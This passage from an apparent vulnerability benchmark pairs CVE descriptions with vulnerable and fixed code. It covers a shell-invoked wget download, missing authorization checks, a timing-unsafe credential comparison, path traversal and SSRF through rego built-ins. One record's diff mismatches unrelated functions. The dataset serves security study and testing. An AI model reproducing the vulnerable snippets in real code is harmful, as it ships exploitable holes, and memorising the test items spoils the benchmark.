"https://github.com/PaddlePaddle/Paddle", "patch_url": ["https://github.com/PaddlePaddle/Paddle/commit/4c0888d7b8f10405e2e79adc41c224264f93e816"], "programing_language": "Python", "vul_func": [{"id": "vul_py_168_1", "commit": "22cf91f", "file_path": "python/paddle/utils/download.py", "start_line": 201, "end_line": 228, "snippet": "def _wget_download(url: str, fullname: str):\n    try:\n        assert urlparse(url).scheme in (\n            'http',\n            'https',\n        ), 'Only support https and http url'\n        # using wget to download url\n        tmp_fullname = shlex.quote(fullname + \"_tmp\")\n        url = shlex.quote(url)\n        # \\u2013user-agent\n        command = f'wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}'\n        subprc = subprocess.Popen(\n            command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n        )\n        _ = subprc.communicate()\n\n        if subprc.returncode != 0:\n            raise RuntimeError(\n                f'{command} failed. Please make sure `wget` is installed or {url} exists'\n            )\n\n        shutil.move(tmp_fullname, fullname)\n\n    except Exception as e:  # requests.exceptions.ConnectionError\n        logger.info(f\"Downloading {url} failed with exception {str(e)}\")\n        return False\n\n    return fullname"}, {"id": "vul_py_168_2", "commit": "22cf91f", "file_path": "python/paddle/utils/download.py", "start_line": 231, "end_line": 234, "snippet": "_download_methods = {\n    'get': _get_download,\n    'wget': _wget_download,\n}"}, {"id": "vul_py_168_3", "commit": "22cf91f", "file_path": "python/paddle/hapi/hub.py", "start_line": 83, "end_line": 136, "snippet": "def _get_cache_or_reload(repo, force_reload, verbose=True, source='github'):\n    # Setup hub_dir to save downloaded files\n    hub_dir = HUB_DIR\n\n    _make_dirs(hub_dir)\n\n    # Parse github/gitee repo information\n    repo_owner, repo_name, branch = _parse_repo_info(repo, source)\n    # Github allows branch name with slash '/',\n    # this causes confusion with path on both Linux and Windows.\n    # Backslash is not allowed in Github branch name so no need to\n    # to worry about it.\n    normalized_br = branch.replace('/', '_')\n    # Github renames folder repo/v1.x.x to repo-1.x.x\n    # We don't know the repo name before downloading the zip file\n    # and inspect name from it.\n    # To check if cached repo exists, we need to normalize folder names.\n    repo_dir = os.path.join(\n        hub_dir, '_'.join([repo_owner, repo_name, normalized_br])\n    )\n\n    use_cache = (not force_reload) and os.path.exists(repo_dir)\n\n    if use_cache:\n        if verbose:\n            sys.stderr.write(f'Using cache found in {repo_dir}\\n')\n    else:\n        cached_file = os.path.join(hub_dir, normalized_br + '.zip')\n        _remove_if_exists(cached_file)\n\n        url = _git_archive_link(repo_owner, repo_name, branch, source=source)\n\n        fpath = get_path_from_url(\n            url,\n            hub_dir,\n            check_exist=not force_reload,\n            decompress=False,\n            method=('wget' if source == 'gitee' else 'get'),\n        )\n        shutil.move(fpath, cached_file)\n\n        with zipfile.ZipFile(cached_file) as cached_zipfile:\n            extracted_repo_name = cached_zipfile.infolist()[0].filename\n            extracted_repo = os.path.join(hub_dir, extracted_repo_name)\n            _remove_if_exists(extracted_repo)\n            # Unzip the code and rename the base folder\n            cached_zipfile.extractall(hub_dir)\n\n        _remove_if_exists(cached_file)\n        _remove_if_exists(repo_dir)\n        # Rename the repo\n        shutil.move(extracted_repo, repo_dir)\n\n    return repo_dir"}], "fix_func": [{"id": "fix_py_168_1", "commit": "22cf91f", "file_path": "python/paddle/hapi/hub.py", "start_line": 83, "end_line": 135, "snippet": "def _get_cache_or_reload(repo, force_reload, verbose=True, source='github'):\n    # Setup hub_dir to save downloaded files\n    hub_dir = HUB_DIR\n\n    _make_dirs(hub_dir)\n\n    # Parse github/gitee repo information\n    repo_owner, repo_name, branch = _parse_repo_info(repo, source)\n    # Github allows branch name with slash '/',\n    # this causes confusion with path on both Linux and Windows.\n    # Backslash is not allowed in Github branch name so no need to\n    # to worry about it.\n    normalized_br = branch.replace('/', '_')\n    # Github renames folder repo/v1.x.x to repo-1.x.x\n    # We don't know the repo name before downloading the zip file\n    # and inspect name from it.\n    # To check if cached repo exists, we need to normalize folder names.\n    repo_dir = os.path.join(\n        hub_dir, '_'.join([repo_owner, repo_name, normalized_br])\n    )\n\n    use_cache = (not force_reload) and os.path.exists(repo_dir)\n\n    if use_cache:\n        if verbose:\n            sys.stderr.write(f'Using cache found in {repo_dir}\\n')\n    else:\n        cached_file = os.path.join(hub_dir, normalized_br + '.zip')\n        _remove_if_exists(cached_file)\n\n        url = _git_archive_link(repo_owner, repo_name, branch, source=source)\n\n        fpath = get_path_from_url(\n            url,\n            hub_dir,\n            check_exist=not force_reload,\n            decompress=False,\n            method=('wget' if source == 'gitee' else 'get'),\n        )\n        shutil.move(fpath, cached_file)\n\n        with zipfile.ZipFile(cached_file) as cached_zipfile:\n            extracted_repo_name = cached_zipfile.infolist()[0].filename\n            extracted_repo = os.path.join(hub_dir, extracted_repo_name)\n            _remove_if_exists(extracted_repo)\n            # Unzip the code and rename the base folder\n            cached_zipfile.extractall(hub_dir)\n\n        _remove_if_exists(cached_file)\n        _remove_if_exists(repo_dir)\n        # Rename the repo\n        shutil.move(extracted_repo, repo_dir)\n"}], "vul_patch": "--- a/python/paddle/utils/download.py\n+++ b/python/paddle/hapi/hub.py\n@@ -1,28 +1,52 @@\n-def _wget_download(url: str, fullname: str):\n-    try:\n-        assert urlparse(url).scheme in (\n-            'http',\n-            'https',\n-        ), 'Only support https and http url'\n-        # using wget to download url\n-        tmp_fullname = shlex.quote(fullname + \"_tmp\")\n-        url = shlex.quote(url)\n-        # \\u2013user-agent\n-        command = f'wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}'\n-        subprc = subprocess.Popen(\n-            command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n+def _get_cache_or_reload(repo, force_reload, verbose=True, source='github'):\n+    # Setup hub_dir to save downloaded files\n+    hub_dir = HUB_DIR\n+\n+    _make_dirs(hub_dir)\n+\n+    # Parse github/gitee repo information\n+    repo_owner, repo_name, branch = _parse_repo_info(repo, source)\n+    # Github allows branch name with slash '/',\n+    # this causes confusion with path on both Linux and Windows.\n+    # Backslash is not allowed in Github branch name so no need to\n+    # to worry about it.\n+    normalized_br = branch.replace('/', '_')\n+    # Github renames folder repo/v1.x.x to repo-1.x.x\n+    # We don't know the repo name before downloading the zip file\n+    # and inspect name from it.\n+    # To check if cached repo exists, we need to normalize folder names.\n+    repo_dir = os.path.join(\n+        hub_dir, '_'.join([repo_owner, repo_name, normalized_br])\n+    )\n+\n+    use_cache = (not force_reload) and os.path.exists(repo_dir)\n+\n+    if use_cache:\n+        if verbose:\n+            sys.stderr.write(f'Using cache found in {repo_dir}\\n')\n+    else:\n+        cached_file = os.path.join(hub_dir, normalized_br + '.zip')\n+        _remove_if_exists(cached_file)\n+\n+        url = _git_archive_link(repo_owner, repo_name, branch, source=source)\n+\n+        fpath = get_path_from_url(\n+            url,\n+            hub_dir,\n+            check_exist=not force_reload,\n+            decompress=False,\n+            method=('wget' if source == 'gitee' else 'get'),\n         )\n-        _ = subprc.communicate()\n+        shutil.move(fpath, cached_file)\n \n-        if subprc.returncode != 0:\n-            raise RuntimeError(\n-                f'{command} failed. Please make sure `wget` is installed or {url} exists'\n-            )\n+        with zipfile.ZipFile(cached_file) as cached_zipfile:\n+            extracted_repo_name = cached_zipfile.infolist()[0].filename\n+            extracted_repo = os.path.join(hub_dir, extracted_repo_name)\n+            _remove_if_exists(extracted_repo)\n+            # Unzip the code and rename the base folder\n+            cached_zipfile.extractall(hub_dir)\n \n-        shutil.move(tmp_fullname, fullname)\n-\n-    except Exception as e:  # requests.exceptions.ConnectionError\n-        logger.info(f\"Downloading {url} failed with exception {str(e)}\")\n-        return False\n-\n-    return fullname\n+        _remove_if_exists(cached_file)\n+        _remove_if_exists(repo_dir)\n+        # Rename the repo\n+        shutil.move(extracted_repo, repo_dir)\n\n--- a/python/paddle/utils/download.py\n+++ /dev/null\n@@ -1,4 +0,0 @@\n-_download_methods = {\n-    'get': _get_download,\n-    'wget': _wget_download,\n-}\n\n--- a/python/paddle/hapi/hub.py\n+++ /dev/null\n@@ -1,54 +0,0 @@\n-def _get_cache_or_reload(repo, force_reload, verbose=True, source='github'):\n-    # Setup hub_dir to save downloaded files\n-    hub_dir = HUB_DIR\n-\n-    _make_dirs(hub_dir)\n-\n-    # Parse github/gitee repo information\n-    repo_owner, repo_name, branch = _parse_repo_info(repo, source)\n-    # Github allows branch name with slash '/',\n-    # this causes confusion with path on both Linux and Windows.\n-    # Backslash is not allowed in Github branch name so no need to\n-    # to worry about it.\n-    normalized_br = branch.replace('/', '_')\n-    # Github renames folder repo/v1.x.x to repo-1.x.x\n-    # We don't know the repo name before downloading the zip file\n-    # and inspect name from it.\n-    # To check if cached repo exists, we need to normalize folder names.\n-    repo_dir = os.path.join(\n-        hub_dir, '_'.join([repo_owner, repo_name, normalized_br])\n-    )\n-\n-    use_cache = (not force_reload) and os.path.exists(repo_dir)\n-\n-    if use_cache:\n-        if verbose:\n-            sys.stderr.write(f'Using cache found in {repo_dir}\\n')\n-    else:\n-        cached_file = os.path.join(hub_dir, normalized_br + '.zip')\n-        _remove_if_exists(cached_file)\n-\n-        url = _git_archive_link(repo_owner, repo_name, branch, source=source)\n-\n-        fpath = get_path_from_url(\n-            url,\n-            hub_dir,\n-            check_exist=not force_reload,\n-            decompress=False,\n-            method=('wget' if source == 'gitee' else 'get'),\n-        )\n-        shutil.move(fpath, cached_file)\n-\n-        with zipfile.ZipFile(cached_file) as cached_zipfile:\n-            extracted_repo_name = cached_zipfile.infolist()[0].filename\n-            extracted_repo = os.path.join(hub_dir, extracted_repo_name)\n-            _remove_if_exists(extracted_repo)\n-            # Unzip the code and rename the base folder\n-            cached_zipfile.extractall(hub_dir)\n-\n-        _remove_if_exists(cached_file)\n-        _remove_if_exists(repo_dir)\n-        # Rename the repo\n-        shutil.move(extracted_repo, repo_dir)\n-\n-    return repo_dir\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-0439", "cve_description": "As a manager, you should not be able to modify a series of settings. In the UI this is indeed hidden as a convenience for the role since most managers would not be savvy enough to modify these settings. They can use their token to still modify those settings though through a standard HTTP request\n\nWhile this is not a critical vulnerability, it does indeed need to be patched to enforce the expected permission level.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/mintplex-labs/anything-llm", "patch_url": ["https://github.com/mintplex-labs/anything-llm/commit/7200a06ef07d92eef5f3c4c8be29824aa001d688"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_223_1", "commit": "3c859ba", "file_path": "server/endpoints/system.js", "start_line": 284, "end_line": 295, "snippet": "    async (request, response) => {\n      try {\n        const body = reqBody(request);\n        const { newValues, error } = updateENV(body);\n        if (process.env.NODE_ENV === \"production\") await dumpENV();\n        response.status(200).json({ newValues, error });\n      } catch (e) {\n        console.log(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );"}], "fix_func": [{"id": "fix_js_223_1", "commit": "7200a06ef07d92eef5f3c4c8be29824aa001d688", "file_path": "server/endpoints/system.js", "start_line": 284, "end_line": 301, "snippet": "    async (request, response) => {\n      try {\n        const user = await userFromSession(request, response);\n        if (!!user && user.role !== \"admin\") {\n          response.sendStatus(401).end();\n          return;\n        }\n\n        const body = reqBody(request);\n        const { newValues, error } = updateENV(body);\n        if (process.env.NODE_ENV === \"production\") await dumpENV();\n        response.status(200).json({ newValues, error });\n      } catch (e) {\n        console.log(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );"}], "vul_patch": "--- a/server/endpoints/system.js\n+++ b/server/endpoints/system.js\n@@ -1,5 +1,11 @@\n     async (request, response) => {\n       try {\n+        const user = await userFromSession(request, response);\n+        if (!!user && user.role !== \"admin\") {\n+          response.sendStatus(401).end();\n+          return;\n+        }\n+\n         const body = reqBody(request);\n         const { newValues, error } = updateENV(body);\n         if (process.env.NODE_ENV === \"production\") await dumpENV();\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-6596", "cve_description": "webhooks/base.py in Anymail (aka django-anymail) before 1.2.1 is prone to a timing attack vulnerability on the WEBHOOK_AUTHORIZATION secret, which allows remote attackers to post arbitrary e-mail tracking events.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/anymail/django-anymail", "patch_url": ["https://github.com/anymail/django-anymail/commit/c07998304b4a31df4c61deddcb03d3607a04691b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_370_1", "commit": "7029298b930620b1655dab2548f72d6640a5905e", "file_path": "anymail/webhooks/base.py", "start_line": 41, "end_line": 48, "snippet": "    def validate_request(self, request):\n        \"\"\"If configured for webhook basic auth, validate request has correct auth.\"\"\"\n        if self.basic_auth:\n            basic_auth = get_request_basic_auth(request)\n            if basic_auth is None or basic_auth not in self.basic_auth:\n                # noinspection PyUnresolvedReferences\n                raise AnymailWebhookValidationFailure(\n                    \"Missing or invalid basic auth in Anymail %s webhook\" % self.esp_name)"}], "fix_func": [{"id": "fix_py_370_1", "commit": "c07998304b4a31df4c61deddcb03d3607a04691b", "file_path": "anymail/webhooks/base.py", "start_line": 42, "end_line": 54, "snippet": "    def validate_request(self, request):\n        \"\"\"If configured for webhook basic auth, validate request has correct auth.\"\"\"\n        if self.basic_auth:\n            request_auth = get_request_basic_auth(request)\n            # Use constant_time_compare to avoid timing attack on basic auth. (It's OK that any()\n            # can terminate early: we're not trying to protect how many auth strings are allowed,\n            # just the contents of each individual auth string.)\n            auth_ok = any(constant_time_compare(request_auth, allowed_auth)\n                          for allowed_auth in self.basic_auth)\n            if not auth_ok:\n                # noinspection PyUnresolvedReferences\n                raise AnymailWebhookValidationFailure(\n                    \"Missing or invalid basic auth in Anymail %s webhook\" % self.esp_name)"}], "vul_patch": "--- a/anymail/webhooks/base.py\n+++ b/anymail/webhooks/base.py\n@@ -1,8 +1,13 @@\n     def validate_request(self, request):\n         \"\"\"If configured for webhook basic auth, validate request has correct auth.\"\"\"\n         if self.basic_auth:\n-            basic_auth = get_request_basic_auth(request)\n-            if basic_auth is None or basic_auth not in self.basic_auth:\n+            request_auth = get_request_basic_auth(request)\n+            # Use constant_time_compare to avoid timing attack on basic auth. (It's OK that any()\n+            # can terminate early: we're not trying to protect how many auth strings are allowed,\n+            # just the contents of each individual auth string.)\n+            auth_ok = any(constant_time_compare(request_auth, allowed_auth)\n+                          for allowed_auth in self.basic_auth)\n+            if not auth_ok:\n                 # noinspection PyUnresolvedReferences\n                 raise AnymailWebhookValidationFailure(\n                     \"Missing or invalid basic auth in Anymail %s webhook\" % self.esp_name)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31506", "cve_description": "The cmusatyalab/opendiamond repository through 10.1.1 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cmusatyalab/opendiamond", "patch_url": ["https://github.com/cmusatyalab/opendiamond/commit/398049c187ee644beabab44d6fece82251c1ea56"], "programing_language": "Python", "vul_func": [{"id": "vul_py_22_1", "commit": "d2f20ffff793f88335f2c0244679d7193295abe2", "file_path": "opendiamond/dataretriever/diamond_store.py", "start_line": 122, "end_line": 123, "snippet": "def _get_obj_absolute_path(obj_path):\n    return os.path.join(DATAROOT, obj_path)"}], "fix_func": [{"id": "fix_py_22_1", "commit": "398049c187ee644beabab44d6fece82251c1ea56", "file_path": "opendiamond/dataretriever/diamond_store.py", "start_line": 123, "end_line": 124, "snippet": "def _get_obj_absolute_path(obj_path):\n    return safe_join(DATAROOT, obj_path)"}], "vul_patch": "--- a/opendiamond/dataretriever/diamond_store.py\n+++ b/opendiamond/dataretriever/diamond_store.py\n@@ -1,2 +1,2 @@\n def _get_obj_absolute_path(obj_path):\n-    return os.path.join(DATAROOT, obj_path)\n+    return safe_join(DATAROOT, obj_path)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-31506:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/opendiamond\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-31506/bin/python  hand_test.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-31506:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/opendiamond\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-31506/bin/python -m pytest -v tests/ --deselect=tests/test_client.py --deselect=tests/test_bundle.py --deselect=tests/test_attributes.py::test_rgbimage_attr --deselect=tests/test_attributes.py::test_string_attr --deselect=tests/test_attributes.py::test_integer_attr --deselect=tests/test_attributes.py::test_float_attr --deselect=tests/test_attributes.py::test_patches_attr --deselect=tests/test_blobcache.py::test_blobcache_add --deselect=tests/test_blobcache.py::test_blobcache_contains --deselect=tests/test_blobcache.py::test_blobcache_prune --deselect=tests/test_blobcache.py::test_blobcache_gc_rescue --deselect=tests/test_blobcache.py::test_executable_blobcache\n"}
{"cve_id": "CVE-2024-23329", "cve_description": " changedetection.io is an open source tool designed to monitor websites for content changes. In affected versions the API endpoint `/api/v1/watch/<uuid>/history` can be accessed by any unauthorized user. As a result any unauthorized user can check one's watch history. However, because unauthorized party first needs to know a watch UUID, and the watch history endpoint itself returns only paths to the snapshot on the server, an impact on users' data privacy is minimal. This issue has been addressed in version 0.45.13. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/dgtlmoon/changedetection.io", "patch_url": ["https://github.com/dgtlmoon/changedetection.io/commit/402f1e47e78ecd155b1e90f30cce424ff7763e0f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_118_1", "commit": "9510345", "file_path": "changedetectionio/api/api_v1.py", "start_line": 136, "end_line": 155, "snippet": "    def get(self, uuid):\n        \"\"\"\n        @api {get} /api/v1/watch/<string:uuid>/history Get a list of all historical snapshots available for a watch\n        @apiDescription Requires `uuid`, returns list\n        @apiExample {curl} Example usage:\n            curl http://localhost:5000/api/v1/watch/cc0cfffa-f449-477b-83ea-0caafd1dc091/history -H\"x-api-key:813031b16330fe25e3780cf0325daa45\" -H \"Content-Type: application/json\"\n            {\n                \"1676649279\": \"/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/cb7e9be8258368262246910e6a2a4c30.txt\",\n                \"1677092785\": \"/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/e20db368d6fc633e34f559ff67bb4044.txt\",\n                \"1677103794\": \"/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/02efdd37dacdae96554a8cc85dc9c945.txt\"\n            }\n        @apiName Get list of available stored snapshots for watch\n        @apiGroup Watch History\n        @apiSuccess (200) {String} OK\n        @apiSuccess (404) {String} ERR Not found\n        \"\"\"\n        watch = self.datastore.data['watching'].get(uuid)\n        if not watch:\n            abort(404, message='No watch exists with the UUID of {}'.format(uuid))\n        return watch.history, 200"}], "fix_func": [{"id": "fix_py_118_1", "commit": "402f1e4", "file_path": "changedetectionio/api/api_v1.py", "start_line": 136, "end_line": 156, "snippet": "    @auth.check_token\n    def get(self, uuid):\n        \"\"\"\n        @api {get} /api/v1/watch/<string:uuid>/history Get a list of all historical snapshots available for a watch\n        @apiDescription Requires `uuid`, returns list\n        @apiExample {curl} Example usage:\n            curl http://localhost:5000/api/v1/watch/cc0cfffa-f449-477b-83ea-0caafd1dc091/history -H\"x-api-key:813031b16330fe25e3780cf0325daa45\" -H \"Content-Type: application/json\"\n            {\n                \"1676649279\": \"/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/cb7e9be8258368262246910e6a2a4c30.txt\",\n                \"1677092785\": \"/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/e20db368d6fc633e34f559ff67bb4044.txt\",\n                \"1677103794\": \"/tmp/data/6a4b7d5c-fee4-4616-9f43-4ac97046b595/02efdd37dacdae96554a8cc85dc9c945.txt\"\n            }\n        @apiName Get list of available stored snapshots for watch\n        @apiGroup Watch History\n        @apiSuccess (200) {String} OK\n        @apiSuccess (404) {String} ERR Not found\n        \"\"\"\n        watch = self.datastore.data['watching'].get(uuid)\n        if not watch:\n            abort(404, message='No watch exists with the UUID of {}'.format(uuid))\n        return watch.history, 200"}], "vul_patch": "--- a/changedetectionio/api/api_v1.py\n+++ b/changedetectionio/api/api_v1.py\n@@ -1,3 +1,4 @@\n+    @auth.check_token\n     def get(self, uuid):\n         \"\"\"\n         @api {get} /api/v1/watch/<string:uuid>/history Get a list of all historical snapshots available for a watch\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-45822", "cve_description": "Artifact Hub is a web-based application that enables finding, installing, and publishing packages and configurations for CNCF projects. During a security audit of Artifact Hub's code base a security researcher identified a bug in which a default unsafe rego built-in was allowed to be used when defining authorization policies. Artifact Hub includes a fine-grained authorization mechanism that allows organizations to define what actions can be performed by their members. It is based on customizable authorization policies that are enforced by the `Open Policy Agent`. Policies are written using `rego` and their data files are expected to be json documents. By default, `rego` allows policies to make HTTP requests, which can be abused to send requests to internal resources and forward the responses to an external entity. In the context of Artifact Hub, this capability should have been disabled. This issue has been resolved in version `1.16.0`. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/artifacthub/hub", "patch_url": ["https://github.com/artifacthub/hub/commit/9df01f90f59e998d93d0b613d8b82c6c003ba2c2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_129_1", "commit": "0ef8def", "file_path": "internal/authz/authz.go", "start_line": 75, "end_line": 118, "snippet": "func (a *Authorizer) preparePoliciesQueries() error {\n\ta.logger.Info().Msg(\"preparing policies queries\")\n\n\t// Get organizations authorization policies from database\n\tvar policiesJSON []byte\n\terr := a.db.QueryRow(context.Background(), getAuthzPoliciesDBQ).Scan(&policiesJSON)\n\tif err != nil && !errors.Is(err, pgx.ErrNoRows) {\n\t\treturn fmt.Errorf(\"error getting authorization policies: %w\", err)\n\t}\n\tvar policies map[string]*hub.AuthorizationPolicy\n\tif policiesJSON != nil {\n\t\tif err := json.Unmarshal(policiesJSON, &policies); err != nil {\n\t\t\treturn fmt.Errorf(\"error unmarshaling authorization policies: %w\", err)\n\t\t}\n\t}\n\n\t// Prepare authorization policies queries\n\tallowedActionsQueries := make(map[string]rego.PreparedEvalQuery)\n\tfor organizationName, policy := range policies {\n\t\tif !policy.AuthorizationEnabled {\n\t\t\tcontinue\n\t\t}\n\t\tvar rules string\n\t\tif policy.PredefinedPolicy != \"\" {\n\t\t\trules = predefinedPolicies[policy.PredefinedPolicy]\n\t\t} else {\n\t\t\trules = policy.CustomPolicy\n\t\t}\n\t\tallowedActionsPreparedEvalQuery, err := rego.New(\n\t\t\trego.Query(AllowedActionsQuery),\n\t\t\trego.Module(fmt.Sprintf(\"%s.rego\", organizationName), rules),\n\t\t\trego.Store(inmem.NewFromReader(bytes.NewBuffer(policy.PolicyData))),\n\t\t).PrepareForEval(context.Background())\n\t\tif err == nil {\n\t\t\tallowedActionsQueries[organizationName] = allowedActionsPreparedEvalQuery\n\t\t}\n\t}\n\n\ta.mu.Lock()\n\ta.allowedActionsQueries = allowedActionsQueries\n\ta.mu.Unlock()\n\n\treturn nil\n}"}, {"id": "vul_go_129_2", "commit": "0ef8def", "file_path": "internal/authz/authz.go", "start_line": 215, "end_line": 274, "snippet": "func (a *Authorizer) WillUserBeLockedOut(\n\tctx context.Context,\n\tnewPolicy *hub.AuthorizationPolicy,\n\tuserID string,\n) (bool, error) {\n\t// Get user alias to provide it to the query as input\n\tuserAlias, err := a.getUserAlias(ctx, userID)\n\tif err != nil {\n\t\treturn true, err\n\t}\n\n\t// Prepare policy rules and data\n\tvar rules string\n\tif newPolicy.PredefinedPolicy != \"\" {\n\t\trules = predefinedPolicies[newPolicy.PredefinedPolicy]\n\t} else {\n\t\trules = newPolicy.CustomPolicy\n\t}\n\tpolicyDataJSON, _ := strconv.Unquote(string(newPolicy.PolicyData))\n\n\t// Prepare policy query and evaluate it to get the actions the user will be\n\t// allowed to perform with it\n\tallowedActionsPreparedEvalQuery, err := rego.New(\n\t\trego.Query(AllowedActionsQuery),\n\t\trego.Module(\"\", rules),\n\t\trego.Store(inmem.NewFromReader(bytes.NewBufferString(policyDataJSON))),\n\t).PrepareForEval(context.Background())\n\tif err != nil {\n\t\treturn true, err\n\t}\n\tqueryInput := map[string]interface{}{\n\t\t\"user\": userAlias,\n\t}\n\tresults, err := allowedActionsPreparedEvalQuery.Eval(ctx, rego.EvalInput(queryInput))\n\tif err != nil {\n\t\treturn true, err\n\t} else if len(results) != 1 || len(results[0].Expressions) != 1 {\n\t\treturn true, err\n\t}\n\tvalues, ok := results[0].Expressions[0].Value.([]interface{})\n\tif !ok {\n\t\treturn true, nil\n\t}\n\tallowedActions := make([]hub.Action, 0, len(values))\n\tfor _, v := range values {\n\t\taction, ok := v.(string)\n\t\tif !ok {\n\t\t\treturn true, nil\n\t\t}\n\t\tallowedActions = append(allowedActions, hub.Action(action))\n\t}\n\n\t// Check if the actions required to manage the policy will be allowed using\n\t// the new policy provided\n\tif !AreActionsAllowed(allowedActions, policyMgmtActions) {\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}"}], "fix_func": [{"id": "fix_go_129_1", "commit": "9df01f9", "file_path": "internal/authz/authz.go", "start_line": 79, "end_line": 123, "snippet": "func (a *Authorizer) preparePoliciesQueries() error {\n\ta.logger.Info().Msg(\"preparing policies queries\")\n\n\t// Get organizations authorization policies from database\n\tvar policiesJSON []byte\n\terr := a.db.QueryRow(context.Background(), getAuthzPoliciesDBQ).Scan(&policiesJSON)\n\tif err != nil && !errors.Is(err, pgx.ErrNoRows) {\n\t\treturn fmt.Errorf(\"error getting authorization policies: %w\", err)\n\t}\n\tvar policies map[string]*hub.AuthorizationPolicy\n\tif policiesJSON != nil {\n\t\tif err := json.Unmarshal(policiesJSON, &policies); err != nil {\n\t\t\treturn fmt.Errorf(\"error unmarshaling authorization policies: %w\", err)\n\t\t}\n\t}\n\n\t// Prepare authorization policies queries\n\tallowedActionsQueries := make(map[string]rego.PreparedEvalQuery)\n\tfor organizationName, policy := range policies {\n\t\tif !policy.AuthorizationEnabled {\n\t\t\tcontinue\n\t\t}\n\t\tvar rules string\n\t\tif policy.PredefinedPolicy != \"\" {\n\t\t\trules = predefinedPolicies[policy.PredefinedPolicy]\n\t\t} else {\n\t\t\trules = policy.CustomPolicy\n\t\t}\n\t\tallowedActionsPreparedEvalQuery, err := rego.New(\n\t\t\trego.Query(AllowedActionsQuery),\n\t\t\trego.Module(fmt.Sprintf(\"%s.rego\", organizationName), rules),\n\t\t\trego.Store(inmem.NewFromReader(bytes.NewBuffer(policy.PolicyData))),\n\t\t\trego.UnsafeBuiltins(unsafeRegoBuiltins),\n\t\t).PrepareForEval(context.Background())\n\t\tif err == nil {\n\t\t\tallowedActionsQueries[organizationName] = allowedActionsPreparedEvalQuery\n\t\t}\n\t}\n\n\ta.mu.Lock()\n\ta.allowedActionsQueries = allowedActionsQueries\n\ta.mu.Unlock()\n\n\treturn nil\n}"}, {"id": "fix_go_129_2", "commit": "9df01f9", "file_path": "internal/authz/authz.go", "start_line": 220, "end_line": 280, "snippet": "func (a *Authorizer) WillUserBeLockedOut(\n\tctx context.Context,\n\tnewPolicy *hub.AuthorizationPolicy,\n\tuserID string,\n) (bool, error) {\n\t// Get user alias to provide it to the query as input\n\tuserAlias, err := a.getUserAlias(ctx, userID)\n\tif err != nil {\n\t\treturn true, err\n\t}\n\n\t// Prepare policy rules and data\n\tvar rules string\n\tif newPolicy.PredefinedPolicy != \"\" {\n\t\trules = predefinedPolicies[newPolicy.PredefinedPolicy]\n\t} else {\n\t\trules = newPolicy.CustomPolicy\n\t}\n\tpolicyDataJSON, _ := strconv.Unquote(string(newPolicy.PolicyData))\n\n\t// Prepare policy query and evaluate it to get the actions the user will be\n\t// allowed to perform with it\n\tallowedActionsPreparedEvalQuery, err := rego.New(\n\t\trego.Query(AllowedActionsQuery),\n\t\trego.Module(\"\", rules),\n\t\trego.Store(inmem.NewFromReader(bytes.NewBufferString(policyDataJSON))),\n\t\trego.UnsafeBuiltins(unsafeRegoBuiltins),\n\t).PrepareForEval(context.Background())\n\tif err != nil {\n\t\treturn true, err\n\t}\n\tqueryInput := map[string]interface{}{\n\t\t\"user\": userAlias,\n\t}\n\tresults, err := allowedActionsPreparedEvalQuery.Eval(ctx, rego.EvalInput(queryInput))\n\tif err != nil {\n\t\treturn true, err\n\t} else if len(results) != 1 || len(results[0].Expressions) != 1 {\n\t\treturn true, err\n\t}\n\tvalues, ok := results[0].Expressions[0].Value.([]interface{})\n\tif !ok {\n\t\treturn true, nil\n\t}\n\tallowedActions := make([]hub.Action, 0, len(values))\n\tfor _, v := range values {\n\t\taction, ok := v.(string)\n\t\tif !ok {\n\t\t\treturn true, 